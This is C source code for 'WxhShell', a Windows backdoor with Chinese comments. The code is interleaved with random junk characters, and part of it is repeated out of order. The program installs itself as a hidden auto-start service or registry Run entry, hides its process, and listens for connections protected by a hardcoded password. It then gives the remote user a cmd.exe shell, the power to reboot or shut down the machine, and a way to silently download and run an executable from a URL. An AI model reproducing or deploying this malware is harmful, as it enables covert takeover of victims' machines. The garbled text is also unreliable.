=Z if(NULL == hInst ) return 0; zht^gOs $:s1x\ol g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `&b8wF g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &4sUi K" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y<X%'Wd\ BbA>1#i5] if (!NtQueryInformationProcess) return 0; n`? j.
s 'N)&;ADx-G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x"K<@mR5G if(!hProcess) return 0; J2Ocf&y;
FAJ\9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "2}04b|" kdmannM CloseHandle(hProcess); Y2!OJuyGc uJA8PfbD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a9mLPP if(hProcess==NULL) return 0; sbZ)z#Tr ` QXO+'j4 HMODULE hMod; rV)mcfw:Z char procName[255]; DbP!wU lqR unsigned long cbNeeded; *4Y1((1k }RYr) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v#@"Evh7 )7Gm<r CloseHandle(hProcess); SN(:\|f
2 @bOhnd#W if(strstr(procName,"services")) return 1; // 以服务启动 HsGXb\ @X?DHLM return 0; // 注册表启动 m"<0sqD; } ?<]BLkx z4b2t} // 主模块 [U]U *x int StartWxhshell(LPSTR lpCmdLine) H ifKa/}P8 { aB0L]i SOCKET wsl; F?\XhoJ3G BOOL val=TRUE; E'j>[C:U int port=0; S3EY9:^C struct sockaddr_in door; F$ShhZgi "}!|V)K if(wscfg.ws_autoins) Install(); Urj8v2k a$yAF4HR< port=atoi(lpCmdLine); Hdw;=]- -;20|US)u if(port<=0) port=wscfg.ws_port; >8D!K0?E N9tH0 WSADATA data; g(B &A
P_e if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _t||v zflfV!vAg if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %OB:lAeJ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m_zl*s*6 door.sin_family = AF_INET; Oq@+/UWX door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;{EIx*<d door.sin_port = htons(port); =5/ow!u8 X]8(_[Y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Atc9[<~WG closesocket(wsl); )'+" y~ return 1; GK.^Gd } x? tC2L EudX^L5U<d if(listen(wsl,2) == INVALID_SOCKET) { 45. -P closesocket(wsl); SK
[1h3d return 1; {L~j;p_G& } <*EMcZ Wxhshell(wsl); fI"sdzu^ WSACleanup(); s!,m,l[P h?R{5?RxK return 0; H
xs'VK* uzg(C#sp } waI?X2 ve($l"T // 以NT服务方式启动 SW5V:|/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5;'(^z-bL { ze2%#< DWORD status = 0; /By:S/[1pL DWORD specificError = 0xfffffff; K8#MQR2@ ]l4\Tdz serviceStatus.dwServiceType = SERVICE_WIN32; scX'>\w&c serviceStatus.dwCurrentState = SERVICE_START_PENDING; j5m KJC serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TOapq9B] serviceStatus.dwWin32ExitCode = 0; A,67)li3 serviceStatus.dwServiceSpecificExitCode = 0; p0*qv"lA serviceStatus.dwCheckPoint = 0; B@cC'F#G serviceStatus.dwWaitHint = 0; }`KK fF6bEJl3 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mi[t1cN)= if (hServiceStatusHandle==0) return; QN47+)cVt" fg$#ZCi status = GetLastError(); .3
>"qv if (status!=NO_ERROR) YI+ clh;%9 { Zt_~Zxn3 serviceStatus.dwCurrentState = SERVICE_STOPPED; _%g L serviceStatus.dwCheckPoint = 0; y0vJ@ %` serviceStatus.dwWaitHint = 0; F m?j-' serviceStatus.dwWin32ExitCode = status; [|".j#ZlK serviceStatus.dwServiceSpecificExitCode = specificError; l266ufO.u- SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]K?;XA3 dZ return; lfvt9!SJ+/ } ~c,CngeL0 9|D*}OY> serviceStatus.dwCurrentState = SERVICE_RUNNING; 'oKen!?A serviceStatus.dwCheckPoint = 0; r>: ~!o* serviceStatus.dwWaitHint = 0; yPrF2@#XZ/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g(_xo\ } IG+g7kDCY 3rVfBz // 处理NT服务事件,比如:启动、停止 b5Q|$E VOID WINAPI NTServiceHandler(DWORD fdwControl) fj|b;8_}l { Vv54;Js9 switch(fdwControl) Ii9[[I { :)Pj()Os| case SERVICE_CONTROL_STOP: +m9ouF serviceStatus.dwWin32ExitCode = 0; *b'4>U serviceStatus.dwCurrentState = SERVICE_STOPPED; ho-#Xbq#g serviceStatus.dwCheckPoint = 0; 2&"qNpPtE serviceStatus.dwWaitHint = 0; .k:heN2-x { }u9#S SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZAXDxhnT } jme`Tyd return; h1t~hrq case SERVICE_CONTROL_PAUSE: Q,K$)bM serviceStatus.dwCurrentState = SERVICE_PAUSED; yky%+@2q break; rFUR9O.{E case SERVICE_CONTROL_CONTINUE: JM1O7I serviceStatus.dwCurrentState = SERVICE_RUNNING; 5cGQ `l break; fat;5XL@ case SERVICE_CONTROL_INTERROGATE: 4O{G^; break; Ol B9z }; &~Pk*A_: SetServiceStatus(hServiceStatusHandle, &serviceStatus); $xT9e } 0kSM$D_ 'W,*mfB // 标准应用程序主函数 /GVjesN int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kt](| { j]FK.G' 9: .m]QN // 获取操作系统版本 nK32or3 OsIsNt=GetOsVer(); y XKddD GetModuleFileName(NULL,ExeFile,MAX_PATH); [UXN=
76N #i.,+Q // 从命令行安装 m.p$f$A_ if(strpbrk(lpCmdLine,"iI")) Install(); (i L*1f ufCpX>lNF // 下载执行文件 Vpne-PW if(wscfg.ws_downexe) { GGnlkp& E if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?2l`%l5( WinExec(wscfg.ws_filenam,SW_HIDE); ^B0Qk:%P^N } O/|))H?C T60pw if(!OsIsNt) { K-~g IlbQ` // 如果时win9x,隐藏进程并且设置为注册表启动 `LNhamp HideProc(); d!w3LwZ StartWxhshell(lpCmdLine); ]Zt ]wnL+ } zz[fkH3 else qEuO@oE if(StartFromService()) UOsK(mB // 以服务方式启动 iMt3h8 StartServiceCtrlDispatcher(DispatchTable); H<[~V0= else 4uzMO < // 普通方式启动 S
:8 StartWxhshell(lpCmdLine); 'AX5V-t yhYF "~CM return 0; ^P^%Q)QXl } SOq:!Qt RYA@{.O m0As t<u hrtz>qN =========================================== A$r$g\5+ PBnH#zm 5LB{b]w7m # H
w(w 'St6a* &:g:7l]g " *s*Y uY%y ?9a%g\`?: #include <stdio.h> A
$gn{ c #include <string.h> n'v\2(&uYN #include <windows.h> \OA{&G. #include <winsock2.h> J6n>{iE #include <winsvc.h> ~<f[7dBv #include <urlmon.h> 7Vsp<s9bj
_%-
+"3Ll #pragma comment (lib, "Ws2_32.lib") J _;H #pragma comment (lib, "urlmon.lib") /3,Lp-kp <-!1`@l> #define MAX_USER 100 // 最大客户端连接数 dv>n38&mDQ #define BUF_SOCK 200 // sock buffer X)[tb]U/Wx #define KEY_BUFF 255 // 输入 buffer 0mujf 8^>c_%e} #define REBOOT 0 // 重启 0o=HOCL\ #define SHUTDOWN 1 // 关机 Ztg_='n zo(#tQ-'m #define DEF_PORT 5000 // 监听端口 Z-Qp9G'
WJOoDS!i #define REG_LEN 16 // 注册表键长度 ^iMr't\b #define SVC_LEN 80 // NT服务名长度 hr}f5Z)^v Q!;syJBb. // 从dll定义API n?.; *: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w!7ApEH1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9p qsr~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j 4?Qd0z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4u6 FvN }yEV&&
@ // wxhshell配置信息 s2{SbOBis struct WSCFG { +gX,r$bX int ws_port; // 监听端口 $]We | char ws_passstr[REG_LEN]; // 口令 z6iKIw
$ int ws_autoins; // 安装标记, 1=yes 0=no {h@\C|nF char ws_regname[REG_LEN]; // 注册表键名 C7FQc{ char ws_svcname[REG_LEN]; // 服务名 I "AjYv4R char ws_svcdisp[SVC_LEN]; // 服务显示名 JcR|{9ghT char ws_svcdesc[SVC_LEN]; // 服务描述信息 CaJ-oy8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZwS:Te9- int ws_downexe; // 下载执行标记, 1=yes 0=no TVD~Ix char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `F7]M char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '`P%;/z R@\}iyM }; = {O ~ OOqT 0wN // default Wxhshell configuration g#J aw|N struct WSCFG wscfg={DEF_PORT, <:v+<)K "xuhuanlingzhe", 'Rn-SD~gIr 1, ST*h{:u&A "Wxhshell", W%!(kN&d "Wxhshell", 4!/JN J "WxhShell Service", R |c=I}@F "Wrsky Windows CmdShell Service", DXiA4ihr= "Please Input Your Password: ", %e E^Y<@g 1, DXLXGvcM "http://www.wrsky.com/wxhshell.exe", %":3xj'EEI "Wxhshell.exe" pLB2! + }; :\OSHs<M .11l(M // 消息定义模块 Zhq_ pus"a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AByl1)r| char *msg_ws_prompt="\n\r? for help\n\r#>"; GJ,&$@8) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >v:ex(y0 char *msg_ws_ext="\n\rExit."; M~:_^B char *msg_ws_end="\n\rQuit."; ?"x4u#x char *msg_ws_boot="\n\rReboot..."; b(*\4n char *msg_ws_poff="\n\rShutdown..."; !#KKJ`uB" char *msg_ws_down="\n\rSave to "; GcVQz[E t?GH
V3V char *msg_ws_err="\n\rErr!"; 3B1\-ry1M char *msg_ws_ok="\n\rOK!"; *)RmX$v3 {*yvvb char ExeFile[MAX_PATH]; Unk/uk int nUser = 0; *7!MG HANDLE handles[MAX_USER]; QQl.5'PP int OsIsNt; cJo%j -AM ppAbG,7 SERVICE_STATUS serviceStatus; `|'w]rj:"+ SERVICE_STATUS_HANDLE hServiceStatusHandle; C >*z^6Gz F!vrvlD`s // 函数声明 ?v2_7x& int Install(void); +A3/^C0 int Uninstall(void); S#/BWNz| int DownloadFile(char *sURL, SOCKET wsh); C]L)nCOBX int Boot(int flag); hi8q?4jE void HideProc(void); W:r[o%B int GetOsVer(void); =g#PP@X]D! int Wxhshell(SOCKET wsl); :aNjh void TalkWithClient(void *cs); c^r8<KlI9 int CmdShell(SOCKET sock); 7
Lm9I int StartFromService(void); xs"i_se int StartWxhshell(LPSTR lpCmdLine); zj`c%9N+ |;gx;qp4cN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '.|} VOID WINAPI NTServiceHandler( DWORD fdwControl ); g257jarkMF q<09]i // 数据结构和表定义 ' @!&{N SERVICE_TABLE_ENTRY DispatchTable[] = mA(kq { )M8d\] {wscfg.ws_svcname, NTServiceMain}, B7\4^6Tx {NULL, NULL} .eJKIck }; 3qWrSziD
M^kaik // 自我安装 5Q10Ohh int Install(void) ufL,Kq4 { ~?/7:S char svExeFile[MAX_PATH]; 0F$|`v"0 HKEY key; [MeivrJ+ strcpy(svExeFile,ExeFile); !@z9n\Yj oiyvKMHz7 // 如果是win9x系统,修改注册表设为自启动 +Nn >*sz if(!OsIsNt) { A[P7hMn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|gk*{3~y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DFr$2Y3H RegCloseKey(key); tY_=[6?Zu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %<yW(s9{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >\JPX RegCloseKey(key); whI4@# return 0; $
DN. } _kD5pC = } L`t786
(M } ZRhk2DA#FF else { M.g2y &8 2[w9#6ly // 如果是NT以上系统,安装为系统服务 m]DP{-s4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c<1$zQY! if (schSCManager!=0) =o@}~G&HA { RlfI]uCDM SC_HANDLE schService = CreateService i%yKyfD ( R5sEQ| E schSCManager, R655@|RT wscfg.ws_svcname, &Hw:65O wscfg.ws_svcdisp, oX6Cd:c- SERVICE_ALL_ACCESS, nu^@}|UG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HtN:v SERVICE_AUTO_START, 8h
ol4'B SERVICE_ERROR_NORMAL, 7:~3B-Tb svExeFile, T:j41`g%s NULL, 9Zx| L/\ NULL, p&}m') NULL, 6X ]I`e NULL, "4XjABJ4' NULL @kd$.7Y9 ); UHJro9 if (schService!=0) 8Ogg(uS70' { dhLd2WSyH CloseServiceHandle(schService); 4gZ R!J CloseServiceHandle(schSCManager); %4VM"C4[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `DSDu Jw% strcat(svExeFile,wscfg.ws_svcname); O-AC$C[d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B{#Fm6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pDC`Fi RegCloseKey(key); /p-k'387 return 0; %5ov!nm7 } 25G~rklk } 8U#14U5rS CloseServiceHandle(schSCManager); 6hcs)X7m } $1X!Ecq_ } m%U=:u7#M =)#XZ[#F return 1; &~"N/o } &w_8E+YZ TbqtT_{ // 自我卸载 jp-(n z\ int Uninstall(void) -6q7ze{@ { (>Sy, HKEY key; _)CCD33$ )x5w`N]lm if(!OsIsNt) { T5[(vTp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zPvTRW~H\ RegDeleteValue(key,wscfg.ws_regname); H2_6m5[&, RegCloseKey(key); @C'qbO{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %)}_OXWf: RegDeleteValue(key,wscfg.ws_regname); i;2V RegCloseKey(key); 'pAq;2AA return 0; ]VVx2ERs } wh]v{Fi' } FOa2VP% } gZ(\/m8Z else { uN&49o e~G IUwJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mqQ//$Y
if (schSCManager!=0) CfLPs)\ACm { YZ0Q?7l7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R*"zLJP if (schService!=0) #1>c)_H { cTJG1'm if(DeleteService(schService)!=0) {
4m9]d) CloseServiceHandle(schService); L{1PCs36c CloseServiceHandle(schSCManager); X{5(i3?S return 0; 9&4z4@on } Cp-p7g0wlg CloseServiceHandle(schService); %?`$#*f\% } LZpqv~av CloseServiceHandle(schSCManager); }!vJ+ } 4H%Ai(F}_ } ue6&)7:~ 1`&"U[{ return 1; cr{f*U6` } ]+78
"( \ N]2V(v // 从指定url下载文件 n ^C"v6X
int DownloadFile(char *sURL, SOCKET wsh) lGN{1djT { mvW,nM1Y HRESULT hr; #.W<[KZf char seps[]= "/"; >^KO5N-:4 char *token; xcl8q: char *file; RC]-9gd3Q char myURL[MAX_PATH]; lZ }H?n% char myFILE[MAX_PATH]; sZPA(N? r`CsR0[ strcpy(myURL,sURL); g)~"-uQQ token=strtok(myURL,seps); dX~$#-Ad86 while(token!=NULL) |`6*~ciUV { w97%5[-T file=token; t2q{;d~. token=strtok(NULL,seps); T|Fl$is } >a2i%j/T PzDekyl GetCurrentDirectory(MAX_PATH,myFILE); %FO#j 6 strcat(myFILE, "\\"); sM'%apM# strcat(myFILE, file); N(^
q%eHp send(wsh,myFILE,strlen(myFILE),0); G$$y\e$ send(wsh,"...",3,0); q'[q] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >hmBV7nR if(hr==S_OK) =6:>C9 return 0; i"o
%Gc else V0!$k.Wk return 1; 6Z3L=j }&O}t{gS* } 2^$Ha| _B5vh(. // 系统电源模块 s xp>9& int Boot(int flag) tjTnFP/= { *Z,?VEO HANDLE hToken; ^9*kZV<K TOKEN_PRIVILEGES tkp; <*55d2 i j+)U` if(OsIsNt) { zBTyRL
l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (W4H?u@X0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q,m1mIf tkp.PrivilegeCount = 1; nL@(|nJ[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xe7/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )tW0iFY if(flag==REBOOT) { zLda+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z0I>PBL@l return 0; sbi+o,%1 } <UC_QPA\ else { 9#X"m,SB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -\V!f6Q return 0; R
*uwp'@ } \&Zp/;n } mxfmK +'_ else { 84eqT[I' if(flag==REBOOT) { _8I\! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n3Q Rn^ return 0; sOUQd-!" } qRnD{g|{1 else { \7U'p:h=U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (AI
4a+ return 0; \]=''C=J } 82*nC!P3E } bs9X4n5 g<(\# F}/ return 1; ]w;!x7bU( } ZGZ1Q/WH &kp`1kv": // win9x进程隐藏模块 @zGz8IF void HideProc(void) {GP#/5$= { \\UOpl x>TIQU=\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d$T856 if ( hKernel != NULL ) zz_(*0,Qcr { mo()l8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >#Ue`)d`aY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w1J%%//(h FreeLibrary(hKernel); A$o7<Hx } J[ 7Sf^r F+Q(^Nk return; &~{0@/ } ]r.95|V* VteMsL/H // 获取操作系统版本 e` {F7rd: int GetOsVer(void) 5|_El/G { Zv&<r+<g OSVERSIONINFO winfo; 8RaRXnJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h=
Mmd GetVersionEx(&winfo); p|9Eue3j2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9[,+4&wX7 return 1; u #Y#,:{ else +b_o2'' return 0; XkRPD } }>$3B5} ZBsV // 客户端句柄模块 !}I+)@~\w int Wxhshell(SOCKET wsl) _?rL7oTv { $*q^7ME SOCKET wsh; 'Hv=\p4$1 struct sockaddr_in client; Pe?=M[u2 DWORD myID; D7|qFx;]g Zt/4|&w while(nUser<MAX_USER) d8ck].m= { hZwJ@ Vm# int nSize=sizeof(client); NnTAKd8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4#Cm5xAt6 if(wsh==INVALID_SOCKET) return 1; RcpKv;= iB |{ TVW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CXd/M~:! if(handles[nUser]==0) , .]1N:
closesocket(wsh); 4RL0@)0F else |* v w( nUser++; eJ+@<+vr;x } *|Bt! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /vNHb_- ^t}8E2mq return 0; lcfX(~/m^ } .!Q*VTW ^E]y >Y // 关闭 socket yt[*4gF4 void CloseIt(SOCKET wsh) s_#6^_ { ^u-;VoK closesocket(wsh); A Qm!7, nUser--; H$rNT/C ExitThread(0); WY$c^av< } @FaK/lKK RxO!h8 // 客户端请求句柄 #u/5
nm void TalkWithClient(void *cs) U0@Qc}y { (-%1z_@Y d7P'c!@+ SOCKET wsh=(SOCKET)cs; ^8V8,C) char pwd[SVC_LEN]; b*TQKYT char cmd[KEY_BUFF]; g27)$0&0 char chr[1]; W0k7(v) int i,j; sUz,F8G 9}$'q$0R] while (nUser < MAX_USER) {
]/[$3rPwZ 89P'WFOFK if(wscfg.ws_passstr) { @_H
L{q%h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :0'vz M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :!L>_ f //ZeroMemory(pwd,KEY_BUFF); 1 Szv4 i=0; SYA0Hiw7P while(i<SVC_LEN) {
;(
[^+_/ bkS-[rW // 设置超时 (y5]]l fd_set FdRead; |-`-zo4z struct timeval TimeOut; #n.XOet<\ FD_ZERO(&FdRead);
?)2; W FD_SET(wsh,&FdRead); ~n;U5hcB TimeOut.tv_sec=8; `]4tJJy$ TimeOut.tv_usec=0; \[L| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -\~HAnh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M.``o1b ?X@uR5?{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p9[gG\ pwd=chr[0]; 6r)B|~,OA if(chr[0]==0xd || chr[0]==0xa) { r<!/!}fE, pwd=0; r#NR3_@9 break; Sz-TarTF } G;AJBs>Y} i++; +6s6QeNS8 } Cuc+9 Ww
=ksggpB // 如果是非法用户,关闭 socket C}]143a/Q if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AZva } " nLWvV1 FL[w\&fp send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R=
.U bY send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Yx
/ubg6 -IS$1 while(1) { rw%OA4> '5\?l:z ZeroMemory(cmd,KEY_BUFF); ;CDa*(e En ]"^* // 自动支持客户端 telnet标准 vz^=o' j=0; :nS p
while(j<KEY_BUFF) { VLC=>w\, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cf.(/5X cmd[j]=chr[0]; D
4<,YBvV if(chr[0]==0xa || chr[0]==0xd) { -#
/'^O+% cmd[j]=0; e#^vA$d break; |`O210B@ } H(DI /"N j++; %";ap8J04F } RY]jY | E {CQI*\O // 下载文件 Vkl]&mYRz if(strstr(cmd,"http://")) { 7W=s.Gy7G\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lv@'v4.({ if(DownloadFile(cmd,wsh)) ; g\rY send(wsh,msg_ws_err,strlen(msg_ws_err),0); K}QZdN'] else 9G)fJr[c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <AB({( } vY]7oX+ else { \iAs 2[1lwV switch(cmd[0]) { rGQY +m1*ou'K // 帮助 vgN%vw pL case '?': { _@O.EksY3r send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8:k-]+#o break; Ex5LhRe>= } )@6iQ // 安装 +krDmU9( case 'i': { lz(}N7SLa if(Install()) p*~b5'+ C+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^TAf+C^Ry else t{O2JF#5u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M+WN \.2pX break; oI x!?,1 } 8YO` TgW // 卸载 j~O"=?7!O case 'r': { `FAZAC\ if(Uninstall()) ~/;shs<9EM send(wsh,msg_ws_err,strlen(msg_ws_err),0); $;j{?dvm. else eMUsw5= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b#Vm;6BHD1 break; Z"E2ZSa0 } mf\@vI // 显示 wxhshell 所在路径 kjj?X|Un case 'p': { Fr1OzS^&( char svExeFile[MAX_PATH]; ,m;G:3}48 strcpy(svExeFile,"\n\r"); K&;/hdS=F strcat(svExeFile,ExeFile); 3j w4#GW send(wsh,svExeFile,strlen(svExeFile),0); >7 qZ\# break; e4-7&8N+ } )gNVJ // 重启 |],ocAN{ case 'b': { :@J.!dokF send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zJG=9C? if(Boot(REBOOT)) 9Nu:{_YoP send(wsh,msg_ws_err,strlen(msg_ws_err),0); i 8:^1rHp) else { w s7LDY&( closesocket(wsh); z`Xc] cPi ExitThread(0); _tfi6UQ&lY } sF1j4 NC break; >{=~''d,w } xN44>3# // 关机 <Y ^)/ s case 'd': {
!}L
cJ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'Jl73#3 if(Boot(SHUTDOWN)) {r1}ACw{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|asr, else { H`NT`BE closesocket(wsh); `<*
tp@ ExitThread(0); rF=\H3`p3 } vSGvv43G break; SaA-Krn } K7]QgfpSZ // 获取shell W.TdhJW9 case 's': { $J]o\~Z J CmdShell(wsh); 6G<gA>V closesocket(wsh); }N
W01nee ExitThread(0); m]'P3^<{P break;
@+!u{ } N
m@UM*D // 退出 <>fT_ case 'x': { :PQvt/-'(D send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xoN?[ CloseIt(wsh); [,ZHn$\ break; "[\),7&03 } g5~wdhpb // 离开 <{1=4PA case 'q': { _:VIlg
U send(wsh,msg_ws_end,strlen(msg_ws_end),0); td(4Fw||1y closesocket(wsh); y/!jC]!+c WSACleanup(); GA2kg7 exit(1); 0R}F(tjw break; !s(s^ } Mt%=z9OLq9 } NnqAr , } w*B4>FYg aX|LEZ;D> // 提示信息 3}2a3) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +X!QH/ 8 } c_FnJ_+ +f } x4;ndck%U 31~Rs?~f( return; =x}p>#o,J } \* SEj&9 nsy eid* // shell模块句柄 Jn)DZv8? int CmdShell(SOCKET sock)
|RZI]H% { =;y(b~ STARTUPINFO si; R6-Z]Hu ZeroMemory(&si,sizeof(si)); ]TIBy "3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5FwVR3, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }g_\?z3gt PROCESS_INFORMATION ProcessInfo; C^nTLw;K char cmdline[]="cmd"; >PONu]^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @]X5g8h return 0; .0iHI3i^ } (v1~p3H [?nM)4d // 自身启动模式 ~<q^4w.=7C int StartFromService(void) CyD)=e{ { tW}At typedef struct QT7PCHP { N_| '`]D DWORD ExitStatus; DE" Y(;S DWORD PebBaseAddress; R>dd#`r" DWORD AffinityMask; |7%#z~rT DWORD BasePriority; c`xgz#]v ULONG UniqueProcessId; K5EU?J& ULONG InheritedFromUniqueProcessId; eGQ-Ht,N } PROCESS_BASIC_INFORMATION; y sFp` z 3N'Xk PROCNTQSIP NtQueryInformationProcess; d{*e0 ^{l$>e] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]Ofs,U^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ! ,&{1p G'f5MP1 HANDLE hProcess; BSHtoD@e7 PROCESS_BASIC_INFORMATION pbi; =9L1Z \f ~9DD=5\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D2MWrX if(NULL == hInst ) return 0; tl+ 9SBl S0mzDLgE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y[Eq;a132 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bW^JR, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `e^sQ>rDI oJe`]_XZ if (!NtQueryInformationProcess) return 0; pgEDh^[MW oxXCf%! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h@%a+ 6b? if(!hProcess) return 0; y{Vh?Z<E 5`p>BJ+n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vXT>Dc2\! oUx%ra{ CloseHandle(hProcess); -~v1@ 3H,?ZFFGz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Js/QL=, if(hProcess==NULL) return 0; ")@#B=8+3^ 7mtX/w9 HMODULE hMod; @^Yr=d ba char procName[255]; ;bRyk# unsigned long cbNeeded; v:?l C<, IQeiT[TF 